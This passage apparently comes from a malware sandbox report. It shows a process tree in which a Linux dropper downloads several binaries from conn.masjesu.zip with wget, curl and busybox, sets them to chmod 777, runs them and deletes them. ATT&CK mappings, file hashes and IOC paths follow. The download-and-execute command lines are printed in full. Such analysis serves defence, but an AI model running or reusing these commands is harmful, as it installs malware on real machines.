  2⤵
  PID:986
- /bin/chmod
  chmod 777 EbB7WSKQbd7vXu66zfrCGjhwvZhUzHER7F
  2⤵
  - File and Directory Permissions Modification
  PID:987
- /tmp/EbB7WSKQbd7vXu66zfrCGjhwvZhUzHER7F
  ./EbB7WSKQbd7vXu66zfrCGjhwvZhUzHER7F
  2⤵
  - Executes dropped EXE
  PID:988
- /bin/rm
  rm EbB7WSKQbd7vXu66zfrCGjhwvZhUzHER7F
  2⤵
  PID:989
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/o5s7shuMgD0x99hknm0YcZGrJKNlkrgVwR
  2⤵
  - System Network Configuration Discovery
  PID:990
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/o5s7shuMgD0x99hknm0YcZGrJKNlkrgVwR
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:991
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/o5s7shuMgD0x99hknm0YcZGrJKNlkrgVwR
  2⤵
  PID:993
- /bin/chmod
  chmod 777 o5s7shuMgD0x99hknm0YcZGrJKNlkrgVwR
  2⤵
  - File and Directory Permissions Modification
  PID:994
- /tmp/o5s7shuMgD0x99hknm0YcZGrJKNlkrgVwR
  ./o5s7shuMgD0x99hknm0YcZGrJKNlkrgVwR
  2⤵
  - Executes dropped EXE
  PID:995
- /bin/rm
  rm o5s7shuMgD0x99hknm0YcZGrJKNlkrgVwR
  2⤵
  PID:996
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/lmCZBbFLG9RaU17w6oVXiCYmE9aGeKXHbl
  2⤵
  PID:997
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/lmCZBbFLG9RaU17w6oVXiCYmE9aGeKXHbl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:998
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/lmCZBbFLG9RaU17w6oVXiCYmE9aGeKXHbl
  2⤵
  - System Network Configuration Discovery
  PID:1000
- /bin/chmod
  chmod 777 lmCZBbFLG9RaU17w6oVXiCYmE9aGeKXHbl
  2⤵
  - File and Directory Permissions Modification
  PID:1001
- /tmp/lmCZBbFLG9RaU17w6oVXiCYmE9aGeKXHbl
  ./lmCZBbFLG9RaU17w6oVXiCYmE9aGeKXHbl
  2⤵
  - Executes dropped EXE
  PID:1002
- /bin/rm
  rm lmCZBbFLG9RaU17w6oVXiCYmE9aGeKXHbl
  2⤵
  PID:1003
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/aOpGPSDLkpgTwWBbgq59eOEbwHBasqXSm6
  2⤵
  - System Network Configuration Discovery
  PID:1004
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/aOpGPSDLkpgTwWBbgq59eOEbwHBasqXSm6
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1005
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/aOpGPSDLkpgTwWBbgq59eOEbwHBasqXSm6
  2⤵
  - System Network Configuration Discovery
  PID:1007
- /bin/chmod
  chmod 777 aOpGPSDLkpgTwWBbgq59eOEbwHBasqXSm6
  2⤵
  - File and Directory Permissions Modification
  PID:1008
- /tmp/aOpGPSDLkpgTwWBbgq59eOEbwHBasqXSm6
  ./aOpGPSDLkpgTwWBbgq59eOEbwHBasqXSm6
  2⤵
  - Executes dropped EXE
  PID:1009
- /bin/rm
  rm aOpGPSDLkpgTwWBbgq59eOEbwHBasqXSm6
  2⤵
  PID:1010
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/I9pvk64al7KI3Uu97n2onzJLmOGvl5OI0Q
  2⤵
  - System Network Configuration Discovery
  PID:1011
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/I9pvk64al7KI3Uu97n2onzJLmOGvl5OI0Q
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1012
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/I9pvk64al7KI3Uu97n2onzJLmOGvl5OI0Q
  2⤵
  PID:1014
- /bin/chmod
  chmod 777 I9pvk64al7KI3Uu97n2onzJLmOGvl5OI0Q
  2⤵
  - File and Directory Permissions Modification
  PID:1015
- /tmp/I9pvk64al7KI3Uu97n2onzJLmOGvl5OI0Q
  ./I9pvk64al7KI3Uu97n2onzJLmOGvl5OI0Q
  2⤵
  - Executes dropped EXE
  PID:1016
- /bin/rm
  rm I9pvk64al7KI3Uu97n2onzJLmOGvl5OI0Q
  2⤵
  PID:1017
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/lIAQvJv5Nr8iNWgZLhVX3C8ge5evZPbSAY
  2⤵
  - System Network Configuration Discovery
  PID:1018
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/lIAQvJv5Nr8iNWgZLhVX3C8ge5evZPbSAY
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1019
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/lIAQvJv5Nr8iNWgZLhVX3C8ge5evZPbSAY
  2⤵
  - System Network Configuration Discovery
  PID:1021
- /bin/chmod
  chmod 777 lIAQvJv5Nr8iNWgZLhVX3C8ge5evZPbSAY
  2⤵
  - File and Directory Permissions Modification
  PID:1022
- /tmp/lIAQvJv5Nr8iNWgZLhVX3C8ge5evZPbSAY
  ./lIAQvJv5Nr8iNWgZLhVX3C8ge5evZPbSAY
  2⤵
  - Executes dropped EXE
  PID:1023
- /bin/rm
  rm lIAQvJv5Nr8iNWgZLhVX3C8ge5evZPbSAY
  2⤵
  PID:1024
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/P1s8vpCoB1mh8CMmocaguUUeZt53fULtSB
  2⤵
  - System Network Configuration Discovery
  PID:1025
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/P1s8vpCoB1mh8CMmocaguUUeZt53fULtSB
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1026
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/P1s8vpCoB1mh8CMmocaguUUeZt53fULtSB
  2⤵
  - System Network Configuration Discovery
  PID:1028
- /bin/chmod
  chmod 777 P1s8vpCoB1mh8CMmocaguUUeZt53fULtSB
  2⤵
  - File and Directory Permissions Modification
  PID:1029
- /tmp/P1s8vpCoB1mh8CMmocaguUUeZt53fULtSB
  ./P1s8vpCoB1mh8CMmocaguUUeZt53fULtSB
  2⤵
  - Executes dropped EXE
  PID:1030
- /bin/rm
  rm P1s8vpCoB1mh8CMmocaguUUeZt53fULtSB
  2⤵
  PID:1031

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

P1s8vpCoB1mh8CMmocaguUUeZt53fULtSB

Path /tmp/P1s8vpCoB1mh8CMmocaguUUeZt53fULtSB
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/P1s8vpCoB1mh8CMmocaguUUeZt53fULtSB	763	P1s8vpCoB1mh8CMmocaguUUeZt53fULtSB
/tmp/I9pvk64al7KI3Uu97n2onzJLmOGvl5OI0Q	770	I9pvk64al7KI3Uu97n2onzJLmOGvl5OI0Q
/tmp/lIAQvJv5Nr8iNWgZLhVX3C8ge5evZPbSAY	795	lIAQvJv5Nr8iNWgZLhVX3C8ge5evZPbSAY
/tmp/ZFMrN9sk3fEdaYQ7kVxGRGug0aQWkR2Uim	859	ZFMrN9sk3fEdaYQ7kVxGRGug0aQWkR2Uim
/tmp/8FyyjJjlj9AwIJxaO0vMtHWmh6iN3MkBFm	866	8FyyjJjlj9AwIJxaO0vMtHWmh6iN3MkBFm
/tmp/NzmZyzdk4TwLfhQiHr9Eiyol1NL8NWU8uF	876	NzmZyzdk4TwLfhQiHr9Eiyol1NL8NWU8uF
/tmp/zLrEEhpWFA1vYOY5ixs1PYsTiDGPsxn6uL	883	zLrEEhpWFA1vYOY5ixs1PYsTiDGPsxn6uL
/tmp/ImsWPd1Ds6t7G0tnMOnnUgLfrOXT15OeIX	890	ImsWPd1Ds6t7G0tnMOnnUgLfrOXT15OeIX
/tmp/7oYskmQXuqiE9LbLewRNkemj9qQXgsI3Nx	897	7oYskmQXuqiE9LbLewRNkemj9qQXgsI3Nx
/tmp/hqGZD6bxx0BYv6wnoJn14icTmqY3JoLiPi	904	hqGZD6bxx0BYv6wnoJn14icTmqY3JoLiPi
/tmp/lmCZBbFLG9RaU17w6oVXiCYmE9aGeKXHbl	911	lmCZBbFLG9RaU17w6oVXiCYmE9aGeKXHbl
/tmp/aOpGPSDLkpgTwWBbgq59eOEbwHBasqXSm6	918	aOpGPSDLkpgTwWBbgq59eOEbwHBasqXSm6
/tmp/EbB7WSKQbd7vXu66zfrCGjhwvZhUzHER7F	925	EbB7WSKQbd7vXu66zfrCGjhwvZhUzHER7F
/tmp/o5s7shuMgD0x99hknm0YcZGrJKNlkrgVwR	932	o5s7shuMgD0x99hknm0YcZGrJKNlkrgVwR
/tmp/ZFMrN9sk3fEdaYQ7kVxGRGug0aQWkR2Uim	939	ZFMrN9sk3fEdaYQ7kVxGRGug0aQWkR2Uim
/tmp/8FyyjJjlj9AwIJxaO0vMtHWmh6iN3MkBFm	946	8FyyjJjlj9AwIJxaO0vMtHWmh6iN3MkBFm
/tmp/7oYskmQXuqiE9LbLewRNkemj9qQXgsI3Nx	953	7oYskmQXuqiE9LbLewRNkemj9qQXgsI3Nx
/tmp/hqGZD6bxx0BYv6wnoJn14icTmqY3JoLiPi	960	hqGZD6bxx0BYv6wnoJn14icTmqY3JoLiPi
/tmp/NzmZyzdk4TwLfhQiHr9Eiyol1NL8NWU8uF	967	NzmZyzdk4TwLfhQiHr9Eiyol1NL8NWU8uF
/tmp/zLrEEhpWFA1vYOY5ixs1PYsTiDGPsxn6uL	974	zLrEEhpWFA1vYOY5ixs1PYsTiDGPsxn6uL
/tmp/ImsWPd1Ds6t7G0tnMOnnUgLfrOXT15OeIX	981	ImsWPd1Ds6t7G0tnMOnnUgLfrOXT15OeIX
/tmp/EbB7WSKQbd7vXu66zfrCGjhwvZhUzHER7F	988	EbB7WSKQbd7vXu66zfrCGjhwvZhUzHER7F
/tmp/o5s7shuMgD0x99hknm0YcZGrJKNlkrgVwR	995	o5s7shuMgD0x99hknm0YcZGrJKNlkrgVwR
/tmp/lmCZBbFLG9RaU17w6oVXiCYmE9aGeKXHbl	1002	lmCZBbFLG9RaU17w6oVXiCYmE9aGeKXHbl
/tmp/aOpGPSDLkpgTwWBbgq59eOEbwHBasqXSm6	1009	aOpGPSDLkpgTwWBbgq59eOEbwHBasqXSm6
/tmp/I9pvk64al7KI3Uu97n2onzJLmOGvl5OI0Q	1016	I9pvk64al7KI3Uu97n2onzJLmOGvl5OI0Q
/tmp/lIAQvJv5Nr8iNWgZLhVX3C8ge5evZPbSAY	1023	lIAQvJv5Nr8iNWgZLhVX3C8ge5evZPbSAY
/tmp/P1s8vpCoB1mh8CMmocaguUUeZt53fULtSB	1030	P1s8vpCoB1mh8CMmocaguUUeZt53fULtSB